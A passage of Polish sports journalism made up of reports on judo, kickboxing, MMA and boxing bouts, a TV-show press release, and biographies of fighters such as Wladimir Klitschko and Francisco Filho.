Meksykanin zdaje sobie sprawę, że staje przed trudnym wyzwaniem, ale właśnie taki jest jego cel. 25-latek chce rywalizować z najlepszymi, aby potwierdzać swoją wartość. – Będzie to dla mnie ważna walka. Moim celem jest walka z najlepszymi. W ten sposób zdobywa się uznanie w środowisku, mediach i wśród fanów. Wszyscy znają mój styl walki i mają świadomość, że chcę dawać radość tym, którzy oglądają moje pojedynki. Nigdy nie cofam się przed wyzwaniami i nadal tak będzie – zapewnia Alvarez.

Stary lis kontra młody gniewny. Będzie się działo i to w Las Vegas. Czy może być lepsze miejsce na takie pojedynki? Być może 21 listopada narodzi się nowy król Las Vegas. Do niedawna był nim Floyd Mayweather Jr.

KM

Polka stanęła na podium

Mauritius szczęśliwy dla Katarzyny Furmanek. Nasza judoczka z nadziejami jechała na zawody Pucharu Świata. Furmanek liczyła na zwycięstwo, które da jej sto punktów do rankingu olimpijskiego. Polka zajęła drugą lokatę, co należy rozpatrywać jako dobry występ.

Furmanek czekała na start, który pozwoli jej zasilić konto w wyścigu olimpijskim. Do Rio de Janeiro pojedzie czternaście najlepszych zawodniczek z każdej kategorii wagowej. Drugie miejsce dało naszej zawodniczce sześcidziesiąt punktów.

Tak jak w Casablance

Startująca w kategorii +78kg Furmanek bardzo dobrze rozpoczęła tegoroczne starty. Już niejednokrotnie wspominaliśmy jej pierwsze miejsce w Pucharze Świata w Pradze. Początek roku napawał optymizmem, gdyż przed naszymi judokami były Igrzyska Europejskie w Baku oraz mistrzostwa świata w Astanie. Jak wiemy, indywidualnie Polacy nie zachwycili. Warto wspomnieć, że na otarcie łez nasza żeńska kadra sięgnęła po wicemistrzostwo świata. W składzie znalazła się również Katarzyna Furmanek.

Wracając do startu Furmanek na Mauritiusie. Polka przystępowała do rywalizacji z nadziejami. Podczas ostatniego Grand Slam w Abu Zabi stoczyła tylko dwie walki. Zmagania szybko zakończyły się dla reprezentantki Polski, niestety bez sukcesu. W niższych rangą zawodach Pucharu Świata judoczka AZS AWFiS Gdańsk pokazała się z dobrej strony. Nina Cutro-Kelly nie dała się pokonać w regulaminowym czasie, jednak nie zawsze stosowała czyste zagrania. Zemściło się to na Amerykance, która przegrała przez shido. Kolejną przeszkodą na drodze Polki była Samantha Da Cunha. Furmanek szybko rozprawiła się ze swoją rywalką przez ippon. Reprezentantka Polski była na najlepszej drodze, aby sięgnąć po złoto i podreperować swój stan punktowy. W finale trafiła na Sonię Asselah. 24-letnia zawodniczka do tej pory sukcesy odnosiła na kontynencie afrykańskim, udało jej się również wziąć udział w Igrzyskach Olimpijskich w Londynie. Furmanek nie znalazła jednak recepty na reprezentantkę Algierii. Polka musiała zadowolić się drugą pozycją.

Dodatkowo występ nie zakończył się szczęśliwie dla Polki. Zawodnika AZS AWFiS Gdańsk doznała kontuzji kciuka. Po wykonaniu badań będzie wiadomo, jak długa przerwa czeka Furmanek.

Panowie bez rewelacji

Swojej sytuacji w walce o bilet do Rio de Janeiro nie poprawili Aleksander Beta (66kg) i Jakub Kubieniec (81kg). Mówiąc krótko – Polacy na Mauritiusie nie zachwycili.

Beta miał chwilę radości w zawodach Pucharu Świata. W pierwszej walce reprezentant Polski spotkał się z Jesusem Gavidią Mendozą i odniósł zwycięstwo przed czasem. Kolejnym rywalem Bety był Patrick Gagne. Kandayjczyk szybko uporał się z naszym zawodnikiem, okazał się niezwyciężony również w kolejnych walkach, co dało mu wygraną w kategorii 66kg.

Z kolei Jakub Kubieniec odpadł z rywalizacji już w pierwszej walce. Pogromcą Polaka okazał się Husejn Rahimli.

KM

Władimir Kliczko

Ukraiński bokser wagi ciężkiej urodzony 25 marca 1976 roku w Semipałatyńsku. Największym sukcesem amatorskim Władimira Kliczko był złoty medal w wadze super ciężkiej zdobyty na Igrzyskach Olimpijskich w Atlancie w 1996 roku. Kliczko był też pięciokrotnym mistrzem Ukrainy, wicemistrzem Europy w 1996 roku, mistrzem Europy juniorów w 1993 roku oraz srebrnym medalistą mistrzostw Świata juniorów z 1994 roku. Jego bilans walk amatorskich to 112 walk wygranych i 6 porażek. W latach 90. był zawodnikiem m.in. warszawskiej Gwardii. Karierę zawodową rozpoczął w Niemczech razem ze swoim starszym o pięć lat bratem Witalijem. W swoim debiucie znokautował w pierwszej rundzie Fabiana Mezę. W ciągu dwóch następnych lat stoczył łącznie 24 pojedynki. Wszystkie wygrał, większość kończąc nokautem w pierwszych rundach. 5 grudnia 1998 roku doznał pierwszej porażki walcząc z Amerykaninem Rossem Puritty.  W 1999 roku wygrał wszystkie siedem walk, w tym z Axelem Schulzem o mistrzostwo Europy. Kolejny rok był dla Kliczki bardzo udany. Najpierw pokonał przed czasem trzech kolejnych rywali: Paea Wolfgramma, Davida Bostice oraz Monte Barretta. W październiku dostał szansę walki o mistrzostwo świata organizacji WBO z Chrisem Byrdem. Władimir miał w tej walce zdecydowaną przewagę i wygrał na punkty. W 2001 roku Kliczko stoczył dwie walki w obronie pasa mistrzowskiego. Nie dał w nich swoim rywalom żadnych szans, pokonując przez techniczny nokaut najpierw Derricka Jeffersona, a następnie Charlesa Shufforda. Następny rok to kolejne trzy udane obrony z Francois Bothą, Rayem Mercerem oraz z Jameelem McCline. Tytuł mistrzowski stracił 8 marca 2003 roku, w swojej szóstej obronie, z południowoafrykańskim bokserem Corrie Sandersem. Walkę przegrał przez techniczny nokaut  w drugiej rundzie. Po dwóch kolejnych łatwo wygranych walkach w Niemczech, Kliczko zmierzył się z Lamonem Brewsterem o wakujący tytuł mistrza świata federacji WBO, ponieważ Corrie Sanders zrzekł się go aby móc walczyć z Witalijem Kliczko o pas mistrzowski organizacji WBC. Walka odbyła się 10 kwietnia 2004 roku w Las Vegas. Przez cztery pierwsze rundy Ukrainiec miał znaczną przewagę. W czwartej rundzie po ciosie Kliczki Brewster leżał na deskach. Jednak w następnej rundzie sytuacja się odwróciła. Po serii silnych ciosów Władimir był liczony, a po zakończeniu piątej rundy najpierw upadł, a później nie mógł dojść o własnych siłach do swojego narożnika. Sędzia był zmuszony zakończyć walkę. Po pokonaniu w dwóch następnych pojedynkach DaVarryla Williamsona i Eliseo Castillo. Kliczko stanął do walki eliminacyjnej o pozycję numer jeden w rankingu organizacji IBF i WBO. Jego rywalem był Nigeryjczyk Samuel Peter. Ukrainiec wygrał ten pojedynek na punkty. 22 kwietnia 2006 roku stoczył kolejną walkę o tytuł mistrza świata, tym razem organizacji IBF. Jego rywalem był po raz drugi Chris Byrd. Pojedynek miał jednostronny przebieg i zakończył się wygraną Kliczki przez techniczny nokaut w siódmej rundzie. W listopadzie 2006 w siódmej rundzie zwyciężył z Calvinem Brockiem. 10 marca 2007 przez techniczny nokaut w drugiej rundzie pokonał Raya Austina, a 7 lipca udanie zrewanżował się Lamonowi Brewsterowi, pokonując go w szóstej rundzie. 23 lutego 2008 roku Kliczko stoczył walkę unifikacyjną z mistrzem WBO, Sułtanem Ibragimowem. Kliczko wygrał pojedynek na punkty. 12 lipca tego samego roku pokonał przez techniczny nokaut Tony Thompsona. W ostatniej walce w 2008 roku w grudniu pokonał przez techniczny nokaut Hasima Rahmana.2 lipca 2011 roku w walce unifikacyjnej jednogłośnie na punkty pokonał mistrza świata federacji WBA Davida Haye’a. 3 marca 2012 roku zmierzył się z byłym mistrzem wagi junior ciężkiej Jean-Marc Mormeckiem, pokonując go przez TKO w czwartej rundzie. 7 lipca 2012 skrzyżował rękawice z Tonym Thompsonem, w rewanżu za walkę sprzed czterech lat. Kliczko pokonał go przez techniczny nokaut w szóstej rundzie. Na 10 listopada 2012 zakontraktowane walkę Kliczki z Mariuszem Wachem. Kliczko wygrał ten pojedynek na punkty. 4 maja 2013 roku pokonał w szóstej rundzie przez TKO Włocha Francesca Pianete. 5 października 2013 w Moskwie pokonał na punkty Aleksandra Powietkina jednogłośną decyzją sędziów. W 2014 roku Kliczko stoczył dwie walki, w których pokonał Alexa Leapai oraz Kubrata Puleva. 25 kwietnia 2015 roku w nowojorskiej Madison Square Garden broniąc tytułu, Kliczko wygrał jednogłośnie na punkty z Amerykaninem Bryantem Jenningsem. 28 listopada 2015 roku przegrał przez jednogłośną decyzję sędziów z Tysonem Furym. Ukrainiec tym samym stracił swoje tytuły WBA, IBF, WBO i IBO. 

Krzysztof Diablo Włodarczyk w programie " Cwany Gapa".

W poniedziałek, 9 listopada br. zadebiutuje na antenie stacji SportKlub nowy program publicystyczny „Cwany Gapa”. Poprowadzi go Kamil Gapiński. Gościem pierwszego odcinka programu będzie Krzysztof Diablo Włodarczyk.

 

 

 

Cwany Gapa” to sportowy program publicystyczny. Prowadzący Kamil Gapiński będzie zapraszał do studia gwiazdy sportu i świata dziennikarstwa na dynamiczne, piętnastominutowe rozmowy – o ich życiu, karierze i pasjach.

Jak to jest stawiać każdego dnia czoła ciężkiemu reżimowi treningowemu? Jak to jest być sławnym i rozpoznawalnym? Czy wielkie pieniądze zmieniają ludzi? W jaki sposób herosi z pierwszych stron gazet walczą ze swoimi kryzysami? Jakie są ich plany na życie po życiu? Czy intensywne trenowanie może iść w parze z udanym życiem rodzinnym? Tego wszystkiego dowiedzą się widzowie programu.

Premierowe odcinki programu „Cwany Gapa” będą emitowane na antenie SportKlubu w każdy poniedziałek o godzinie 20:00. Powtórki programu będzie można oglądać regularnie w SportKlubie, a już po tygodniu na kanale stacji na YouTube oraz na stronie partnera – weszlo.com.

Za produkcję programu odpowiada firma Media Production.

Kamil Gapiński jest dziennikarzem z 15-letnim doświadczeniem. Ma na swoim koncie pracę m.in. w Przeglądzie Sportowym, Fakcie, Orange Sport oraz radiu TOK FM.

Zwiastun programu: [kod]

Cwany Gapa, z charyzmatycznym prowadzącym Kamilem Gapińskim, to format, który spełnia wszystkie założenia, jakie sobie postawiliśmy przystępując do jego realizacji. Przy okazji spotkań z największymi nazwiskami związanymi ze światem sportu, komentujemy bieżące, najważniejsze i najciekawsze wydarzenia. Gośćmi programu będą polscy sportowcy oraz dziennikarze. Dzięki temu uzyskamy dla naszych kanałów lokalny koloryt, co zważywszy na fakt, że pokazujemy głównie prawa międzynarodowe, jest dla nas i naszych widzów szczególnie wartościowe.” – mówi Joanna Stępniewska, Country Manager. 

Źródło: materiały prasowe

Pas cały czas u Robina

Robin van Roosmalen obronił pas mistrzowski w kategorii 70kg podczas Glory 25. Sitthichai Sitsongpeenong mimo, że był aktywny musiał pogodzić się z porażką w starciu z RvR na gali w kickboxingu, która odbyła się we włoskiej Monzy.

24-letni Taj zachwycał obserwatorów kickboxingu. Wygrał turniej Glory, dzięki któremu mógł stanąć do rywalizacji o pas. Dodatkowo Sitsongpeenong walczy bardzo widowiskowo i inteligentnie.

Holenderska marka

26-letni van Roosmalen nie spodziewał się chyba takiego przebiegu pojedynku. Ostatnie cztery walki Holender wygrał przez decyzję sędziów, więc był przystosowany do rywalizacji na pełnym dystansie. Jednak Taj zaskoczył mistrza.

Sitsongpeenong ze wszystkich sił starał się zneutralizować atuty rywala i nie pozwolić mu rozwinąć skrzydeł. Powszechnie wiadomo, że chwila nieuwagi może skutkować potężnym ciosem ze strony van Roosmalena. Taj starał się walczyć w dystansie. Miał również przewagę w zasięgu, co pozwalało mu również słać ciosy w kierunku Holendra. Van Roosmalen kilkukrotnie starał się zaskoczyć swojego oponenta mocnymi kopnięciami.

Aktywniejszy był jednak Sisongpeenong. Wydaje się, że przyjął dobrą taktykę, gdyż Holender w żaden sposób nie potrafił znaleźć recepty na Taja i w pełni przyjąć inicjatywy. Pięć rund miało podobny obraz. Van Roosmalen szukał, starał się, jednak nie był w stanie zaskoczyć tajskiego wojownika. Werdykt sędziowskim miał o wszystkim rozstrzygnąć. Taj zrobił wiele, aby wygrać, ale miano mistrza nadal przysługuje 26-letniemu holenderskiemu kickbokserowi.

Petrosyan wrócił

Istotnym elementem gali w Mediolanie był powrót Giorgio Petrosyana. Włoch stanął przed trudnym zadaniem, gdyż jego rywalem był niezwykle utalentowany i głodny zwycięstw Josh Jauncey. Kanadyjczyk bardzo chciał, jednak nie potrafił niczym zaskoczyć doświadczonego Włocha. 29-latek początkowo był ostrożny i uważny. Dobrze prezentował się w defensywie, czym neutralizował wszelkie atuty swojego rywala. Petrosyan od czasu do czasu skutecznie kontrował. W trzeciej rundzie Włoch przyspieszył, czym przypieczętował swoją wygraną na punkty.

Podczas Glory 25 odbyły się półfinały turnieju do 77kg. W pierwszym pojedynku zaprezentowali się Murthel Groenhardt i Nicola Gallo. Holender dyktował warunki rywalizacji. Pojedynek rozstrzygnął się w drugiej rundzie, kiedy to lekarz nie dopuścił Gallo do dalszej rywalizacji. Włoch doznał rozcięcia nad nosem.

Karim Ghajji okazał się lepszy od Yoanna Kongolo. Od początku starcia zawodnicy narzucili ostre tempo. Nie brakowało wymian i prób ciekawych ciosów. Obaj imponowali szybkością, zwrotnością, jednak lepiej prezentował się Szwajcar. Ghajji cały czas szukał swojej szansy, aby przechylić szalę zwycięstwa na swoją stronę. W trzeciej rundzie zawodnicy zwolnili tempo. Opadli z sił. Sędziowie zdecydowali, że na pełnym dystansie lepiej wyglądał Ghajji.

Pas nadal w rękach van Roosmalena, choć Taj pokazał wysoki poziom dojrzałości. Petrosyan udanie wrócił i nadal pokazuje, że stać go na dobre walki. W finale turnieju 77kg spotkają się Murthel Greonhardt i Karim Ghajji.

KM

Mauritius areną zmagań judoków

Tym razem nasi zawodnicy udali się do państwa wyspiarskiego, które znajduje się w południowo zachodniej części Oceanu Indyjskiego. Mauritius to egotyczne miejsce, ale tym razem właśnie tam o cenne punkty będą rywalizowali judocy w zawodach Pucharu Świata.

Swoich sił w rywalizacji spróbuje troje naszych reprezentantów. Największe nadzieje wiążemy ze startem Katarzyny Furmanek, która zaprezentuje się w kategorii +78kg. Wystąpią również Aleksander Beta (66kg) oraz Jakub Kubieniec (81kg).

Stać ją na zwycięstwo?

Katarzyna Furmanek liczy, że uda jej się zdobyć cenne punkty w wyścigu o kwalifikację olimpijską. Polka musi jeszcze włożyć trochę wysiłku, aby wywalczyć bilet do Rio de Janeiro. Obecnie judoczka AZS AWFiS Gdańsk w olimpijskim rankingu w swojej kategorii wagowej zajmuje siedemnastą lokatę, a na igrzyska olimpijskie pojedzie czternaście najlepszych zawodniczek.

Wygrana w zawodach Pucharu Świata rozgrywanych w Mauritiusie dałaby Furmanek sto punktów, a więc potężny zastrzyk punktowy. Polka w tym roku pokazała, że potrafi wygrywać międzynarodowe imprezy. Podczas Pucharu Świata w Pradze rywalizująca w kategorii +78kg judoczka stanęła na najwyższym stopniu podium. Srebrny medal nasza zawodniczka przywiozła z Cascablanki. Problem w tym, że najlepsze występy Furmanek notowała w pierwszym kwartale roku.

Teraz jej występy to sinusoida. Raz jest lepiej, a raz gorzej. W październiku Furmanek była o krok od podium w Pucharze Świata w Lizbonie. Judoczka została sklasyfikowana na piątym miejscu. A jak zaprezentowała się w ostatnim starcie? Podczas Grand Slam w Abu Zabi Polka stoczyła dwa pojedynki. Na początek rozprawiła się z Santą Pakenyte. Jednak w kolejnym starciu Furmanek musiała uznać wyższość Svitlany Iaromki. Ukrainka wygrała przez ippon.

W Maritiusie Polka będzie miała kolejną szansę na poprawienie swojego dorobku punktowego. Srebrna medalistka tegorocznych mistrzostw świata w drużynie może pokusić się o niespodziankę. Miejsce na podium byłoby krokiem do wywalczenia kwalifikacji olimpijskiej. Jeden dobry występ może dać naszej zawodnicze spokój i pewność, co sprawi, że do kolejnych startów będzie mogła podejść na większym luzie.

Panowie dwaj

Ostatnimi czasy nasi judocy rozczarowują. Stara się Maciej Sarnacki, który w Grand Slam w Abu Zabi wywalczył piątą lokatę i przy okazji doznał kontuzji. Tym samym zawodnik z Olsztyna walkowerem musiał oddać rywalizację o podium.

Aleksander Beta nie notuje w tym roku tak dobrych startów jak w poprzednim. Z kolei Jakub Kubieniec może pochwalić się brązowym medalem zdobytym podczas Pucharu Świata w Warszawie. Być może na koniec roku panowie powiększą swój dorobek punktowy. Na obecnym etapie dla obu wyjazd do Rio to odległa perspektywa, jednak mają jeszcze czas, aby walczyć. Muszą wspiąć się na wyżyny.

KM

Pas nie dla Helda

Występu w St. Louis Marcin Held nie będzie wspominał miło. Zapewne w sercu zawodnika pozostał żal, że nie udało się wywalczyć mistrzowskiego pasa Bellatora w wadze lekkiej. Will Brooks okazał się lepszy i wygrał na punkty.

Held stanął przed życiową szansą podczas gali Bellator 145. W wieku 23-lat mógł zostać mistrzem czołowej organizacji mieszanych sztuk walki na świecie. Polski talent musi jeszcze poczekać, ale doświadczenie walki o pas może okazać się cenne.

Szukał poddania

Marcin Held przyzwyczaił, że potrafi kończyć swoje walki efektownie. Większość pojedynków wygrywał przez poddanie. Również takiego rozwiązania Polak próbował w starciu o pas mistrzowski, jednak jego wysiłki nie przyniosły pożądanego efektu.

23-latek z Tych dobrze wszedł w walkę. Dominował w pierwszej rundzie i pokazał Amerykaninowi, że jest gotów odebrać mu pas. Brooks przeżywał trudne chwile. Held słał w jego stronę kolejne ciosy aż w końcu doprowadził do sprowadzenia. Polak na ziemi szukał możliwości założenia dźwigni, jednak 29-latek skutecznie się bronił i w końcu wstał. Po chwili obalił Helda, ale ten dobrze radził sobie będąc na plecach. Polak nie ustawał w swoich próbach. Najpierw starał się założyć dźwignię na łokieć, a później na kolano.

Polak dobrze rozpoczął, jednak doświadczenie Brooksa dało o sobie znać. W drugiej rundzie mistrz stopniowo przejmował inicjatywę. Obalił Helda, a następnie zastosował duszenie trójkątne i obijał rywala. Trzecią rundę Polak chciał rozpocząć od sprowadzenia, jednak próba ta okazała się nieudana. Brooks znalazł się z góry i mógł rozdawać karty. Held starał się bronić przed ciosami mistrza, jednak był coraz bardziej zmęczony. Dodatkowo przy jego prawym oku pojawiło się rozcięcie. Brooks wysuwał się na prowadzenie.

Ostatnia prosta

29-letni Amerykanin przyzwyczajony jest do pięciorundowych starć. Kondycja Brooksa jest imponująca, a Held po trzech rundach wyraźnie osłabł, jednak musiał dalej szukać swojej szansy.

Zmęczenie dawało o sobie znać. Już w czwartej rundzie Held był zdecydowanie wolniejszy i trochę nieporadny. Złapał nogę Brooksa, jednak próba sprowadzenia nie powiodła się i Polak wylądował na plecach. Ostatnia odsłona również na korzyść Amerykanina. Held szukał jeszcze swojej szansy, jednak w parterze to 29-latek częściej był z góry i obijał naszego zawodnika.

Brooks mógł cieszyć się z kolejnej wygranej i skutecznej obrony pasa mistrzowskiego. Held pokazał, że ma potencjał, jednak do występów na tak długim dystansie nie jest odpowiednio przygotowany. Doświadczenie Brooksa odegrało istotną rolę. Dla Helda to ważna walka, która może zaprocentować w przyszłości. Polak pokazał, że stać go na wiele i w Bellatorze może stoczyć jeszcze wiele fantastycznych walk. Ma dopiero 23 lata, a wygrał już turniej wagi lekkiej i walczył o pas. Held to talent czystej wody i może jeszcze wiele namieszać w świecie MMA.

KM

Co dalej z Wachem?

Pojedynek z Aleksandrem Powietkinem miał dać odpowiedź na pytanie, w jakim miejscu bokserskiej kariery znajduje się Mariusz Wach. Z jednym z najlepszych pięściarzy wagi ciężkiej Polak nie miał szans.

Walka z Rosjaninem był dla Wacha szansą na powrót do  światowej czołówki. Popularny „Wiking” nie był uznawany za faworyta pojedynku, jednak w sercach tliła się nadzieja. Rywalizacja polsko-rosyjska, zwłaszcza w Dniu Jedności Narodowej (4 listopada w Rosji), wzbudzała emocje, a przede wszystkim ciekawość.

Zachowawczy Wach

Walka miała swój ciężar gatunkowy. Aleksandr Powietkin w swoich dłoniach dzierży pas WBC Silver. Wach miał szansę na zdobycie pasa, powrót na bokserskie salony i wywalczenie statusu oficjalnego pretendenta do tytułu mistrza świata i rywalizacji z Deontayem Wilderem.

Początek pojedynku w Kazaniu zachowawczy. Obaj pięściarze starali się wyczuć swoje możliwość. Wach nie chciał podzielić losu Andrzeja Wawrzyka, który w 2013 roku spotkał się z Powietkinem i już w trzeciej rundzie został znokautowany. „Wiking” był ostrożny i wycofany, trzymał szczelną gardę, a w razie konieczności uciekał się do klinczu. Początkowo „Sasza” nie mógł narzucić swoich warunków. Rosjanin zadawał ciosy, jednak Wach pozostawał niewzruszony. Z kolei Polak był oszczędny, dopiero w piątej rundzie ruszył do przodu i w końcu trafił rywala. Jeden prawy zrobił wrażenie na Powietkinie. Czas działał na korzyść Rosjanina. Wach był coraz bardziej zmęczony, Powietkin parł do przodu. Wyraźnie było widać, że kondycyjnie Polak stopniowo siada. Dominacja „Saszy” rosła i można było odliczać oraz wyrokować, kiedy pojedynek dobiegnie końca. W ringu miała miejsce swoista „obrona Częstochowy”. Wach przyjmował kolejne ciosy, a jego oko puchło coraz bardziej.

Polak wyglądał coraz gorzej. Słaniał się na nogach i zbierał kolejne ciosy. W dwunastej rundzie sędzia przerwał pojedynek. Wach przegrał. Nie wykorzystał szansy.

Koniec marzeń?

To, że Wach przez lata znajdował się w przedpokoju wagi ciężkiej to fakt. Wielki chłopisko, którym trudno zachwiać, a jego cios może w jednej chwili zakończyć pojedynek. Toczył kolejne boje i w końcu dostąpił zaszczytu walki o mistrzostwo świata. Przegrał z Władimirem Kliczko. Była to pierwsza porażka w jego karierze. Po pojedynku rozpoczął się dramat „Wikinga”. W jego organizmie wykryto niedozwolone substancje i musiał odpocząć od boksu dwa lata.

Wrócił. Stoczył cztery pojedynki. Widać było, że z kondycją u Wacha nie jest najlepiej, brak mu świeżości. Walczył z kelnerami i wygrywał. W końcu przyszedł czas na weryfikację możliwości. Powietkin pokazał Wachowi dobry boks, bo nic więcej. Rosjanin był konsekwentny, a Polak bierny. Wydaje się, że Wach stracił szansę na kolejne walki w świetle jupiterów. Nadal pozostaje mocnym nazwiskiem, ale już tylko na polskim rynku.

KM

Peter Graham

Australijski zawodnik sportów walki urodzony 5 sierpnia 1975 roku w Sydney. W swojej karierze walczył zarówno w karate, zawodowym Kick boxingu, boksie jak i MMA. Swoją karierę w sportach walki zaczynał od karate kyokushin. W 1999 roku został mistrzem Australii w klasie open, a rok później zdobył amatorskie mistrzostwo świata WKBF. Po tym sukcesie przeszedł na zawodowstwo, rozpoczynając starty w Kick-boxingu w formule K-1. W listopadzie 2000 roku na gali K-1 Oceania Star Wars 2000 w Melbourne zmierzył się w pokazowym pojedynku z najbardziej utytułowanym australijskim kickboxerem w historii, Stanem Longinidisem. Przegrał z nim przez decyzję po 10-rundowym pojedynku, jednak występ ten zaowocował zaproszeniem go na turniej preliminacyjny K-1 World GP w Melbourne w lutym 2001 roku. Przegrał w finale przez nokaut z wschodzącą gwiazdą K-1, Nowozelandczykiem Markiem Huntem. Pięć miesięcy później doszło do walki rewanżowej w której to Graham pokonał Hunta przez decyzję sędziów. Po rocznej przerwie powrócił na ringi K-1 w 2003 roku. W lipcu wygrał turniej K-1 World GP W Melbourne, dzięki czemu wywalczył sobie prawo startu w gali eliminacyjnej w Osace, w której pokonał Sama Greco. Zwycięstwo to zapewniło mu udział w Finale K-1 WGP w Tokio turnieju o mistrzostwo K-1. Odpadł w nim w ćwierćfinale, znokautowany przez późniejszego mistrza Remy’ego Bonjasky’ego. W 2004 roku wygrał turniej Kings of Oceania 2004, pokonując min. Pawła Słowińskiego. Rok później zwyciężył również w Kings of Oceania 2005, uzyskując kwalifikację do turnieju K-1 World GP 2006 w Auckland, będącego eliminacją do Finału K-1 World GP 2006. W jego ćwierćfinale zmierzył się z Bardem Hari. Graham przegrywał pojedynek na punkty, jednak na kilka sekund przed końcem pojedynku zdołał znokautować Marokańczyka kopnięciem, łamiąc mu szczękę. W półfinale zmierzył się z Pawłem Słowińskim i przegrał przed czasem na skutek niskich kopnięć. W sierpniu 2007 roku, podczas K-1 World GP w Hongkongu stoczył walkę rewanżową z Harim. Przegrał przez jednogłośną decyzję sędziów. Był to jego ostatni występ w organizacji K-1. Po trzyletniej spowodowanej startami w MMA powrócił do Kick-boxingu. 29 sierpnia 2010 znokautował Nowozelandczyka Douga Vineya, zdobywając mistrzostwo Świata ISKA w wadze ciężkiej. Stracił je gdy 20 września 2011 roku sam został znokautowany w trzecim starciu z Pawłem Słowińskim. W 2008 roku podpisał kontrakt z Japońską organizacją World Victory Road i zadebiutował w MMA. Na gali Sengoku 1 w Tokio przegrał przez poddanie z byłą gwiazdą PRIDE FC, zapaśnikiem Kazuyuki Fujitą. Od 2010 roku walczył dla mniejszych Australijskich organizacji. W grudniu tego roku na gali Draka 5 stoczył w rosyjskim Chabarowsku pojedynek z niepokonanym od ponad 4 lat zawodnikiem gospodarzy, Aleksandrem Jemieljanienką. Graham niespodziewanie wygrał przez techniczny nokaut w drugiej rundzie. Podczas kolejnej edycji tej gali, która odbyła się 11 lutego 2012 roku, znokautował doświadczonego Łotysza Konstantina Głuchowa w pierwszej rundzie. 24 listopada stoczył rewanżowy pojedynek z Gluhovsem. Kolejny raz lepszy był Graham który znokautował rywala na początku pierwszej rundy. Stawką pojedynku było międzynarodowe mistrzostwo w wadze ciężkiej organizacji Draka. W latach 2013-2014 walczył dla Bellator MMA, w którym stoczył trzy pojedynki z czego dwa przegrał. Od 2014 roku związany z KSW gdzie pokonał min. Marcina Różalskiego i Mariusza Pudzianowskiego.  

Francisco Filho

Brazylijski Karateka stylu kyokushin urodzony 10 stycznia 1971 roku  w Souto Soares w stanie Bahia. W 1991 roku na 5. Otwartych Mistrzostwach Świata Filho otrzymał nagrodę za najlepszego ducha walki. W eliminacjach wygrał z wicemistrzem Świata sprzed 4 lat, Szwajcarem Andy Hugiem przez ippon. W 1995 roku zaliczył test 100 kumite oraz zdobył brązowy medal na 6. Otwartych Mistrzostwach Świata. Dwa lata później wywalczył mistrzostwo świata w wadze superciężkiej. W 1999 roku został pierwszym zwycięzcą Otwartych Mistrzostw Świata spoza Japonii. W turnieju tym pokonał m.in. Ryu Narushimę, Nicholasa Pettasa oraz w finale obrońcę tytułu Hajime Kazumiego. W 1997 roku podpisał kontrakt z japońską organizacją K-1 na walki w Kick-boxingu. W swoim debiucie skrzyżował rękawice z dobrze sobie znanym rywalem, ówczesnym mistrzem K-1 Andym Hugiem. I tym razem lepszym okazał się Francisco Filho, który znokautował Szwajcara. Ten niespodziewany sukces przyniósł mu popularność w świecie Kick-boxingu i dał przepustkę do walki o mistrzostwo Świata K-1 w finałowym turnieju World Grand Prix 1997 w Tokio. W ćwierćfinale znokautował w 15 sekund australijskiego karatekę Sama Greco. W półfinale zmierzył się z czołowym Kick-boxerem świata, Holendrem Ernesto Hoostem. Przegrał z nim na punkty. W 1998 roku walczył z kolejnymi gwiazdami K-1, Peterem Aertsem i Rayem Sefo, remisując w obu walkach. Do kolejnego turnieju finałowego K-1 awansował nokautując najlepszego ówcześnie amerykańskiego Kick-boxera Ricka Roufusa niskim kopnięciem w kolano. W ćwierćfinale imprezy na drodze Brazylijczyka stanął Mike Bernardo. Mimo że Filho był faworytem, przegrał przez techniczny nokaut w trzeciej rundzie. Rok 1999 Filho poświęcił przygotowaniom do 7 Otwartych Mistrzostw Świata Kyokushin. W K-1 wystąpił tylko raz. W rewanżowej walce z Hoostem znokautował go w pierwszej rundzie serią ciosów pięściami. Na ring powrócił w 2000 roku, po wywalczeniu czempionatu w Karate, w walce z Jerome’em Le Bannerem. Przegrał w pierwszej rundzie przez ciężki nokaut. Mimo to parę miesięcy później wygrał turniej w Jokohamie, co umożliwiło mu wzięcie udziału w kolejnym turnieju o mistrzostwo K-1. Ponownie zmierzył się w nim z Ernesto Hoostem i po raz drugi przegrał na punkty w półfinale. Ostatnią, czwartą próbę wywalczenia mistrzostwa K-1 Francisco Filho podjął rok później. W ćwierćfinale World Grand Prix 2001 pokonał przez TKO Petera Aertsa, a w półfinale okazał się lepszy od nowej gwiazdy K-1, Białorusina Aleksieja Ignaszowa. W finale na Brazylijczyka czekała rewelacja turnieju, Mark Hunt. Regulaminowe trzy rundy nie przyniosły w oczach sędziów rozstrzygnięcia, więc zarządzono dodatkową runde. Hunt wykazał się w niej większą agresją i zadał więcej ciosów, co dało mu zwycięstwo przez jednogłośną decyzję sędziów. Po finale zrezygnowany Filho oświadczył, że na jakiś czas żegna się z K-1, a ewentualne przyszłe występy ograniczy do pojedynczych walk. Po półtorarocznej przerwie wrócił na ring w 2003 roku. Stoczył cztery walki, ostatnią z nich w maju 2004 roku z ówczesnym mistrzem K-1 Remym Bonjaskym. Pokonał go przez jednogłośną decyzję sędziów. W historii swoich startów w K-1 Filho pokonał czterech mistrzów K-1 WGP: Petera Aertsa, Andy’ego Huga, Ernesto Hoosta i Remy’ego Bonjasky’ego. 

Gago Drago

Ormiański Kick-boxer wagi średniej znany z występów na galach K-1 MAX i It’s Showtime urodzony 8 marca 1985 roku w Weriszen. Gagik Harutiunian urodził się we wsi Weriszen na terenie Armeńskiej SRR. W 1989 roku wyemigrował wraz z ojcem do Holandii i osiadł w Alkmaar. W wieku 14 lat rozpoczął trenować w miejscowym klubie Kick-boxing. W 2001 roku przeszedł na zawodowstwo i od tego momentu występuje wyłącznie pod pseudonimem Gago Drago. Między 2002 a 2006 rokiem był niepokonany. Wygrywając ponad 20 walk na terenie Holandii i Belgii szybko osiągnął status wschodzącej gwiazdy europejskiego Kick-boxingu. W 2005 roku uzyskał Holenderskie obywatelstwo, co umożliwiło mu występowanie również poza Beneluksem. W 2006 roku podpisał kontrakt z japońską organizacją K-1 i 6 kwietnia tego samego roku zadebiutował w prestiżowym cyklu K-1 World MAX. Na turnieju eliminacyjnym w Tokio pokonał Duńczyka Ole Laursena i awansował do Finału K-1 World MAX w Jokohamie. Podczas tego drugiego sprawił niespodziankę eliminując byłego mistrza K-1 MAX Alberta Krausa, lecz w następnej walce przegrał z późniejszym tryumfatorem turnieju Buakawem Por. Pramukiem, kończąc swój udział w półfinale. Drago bezskutecznie próbował osiągnąć sukces w K-1 MAX w następnych latach. W 2007 roku został znokautowany w ćwierćfinale przez Andy Souwera. Mimo że w 2008 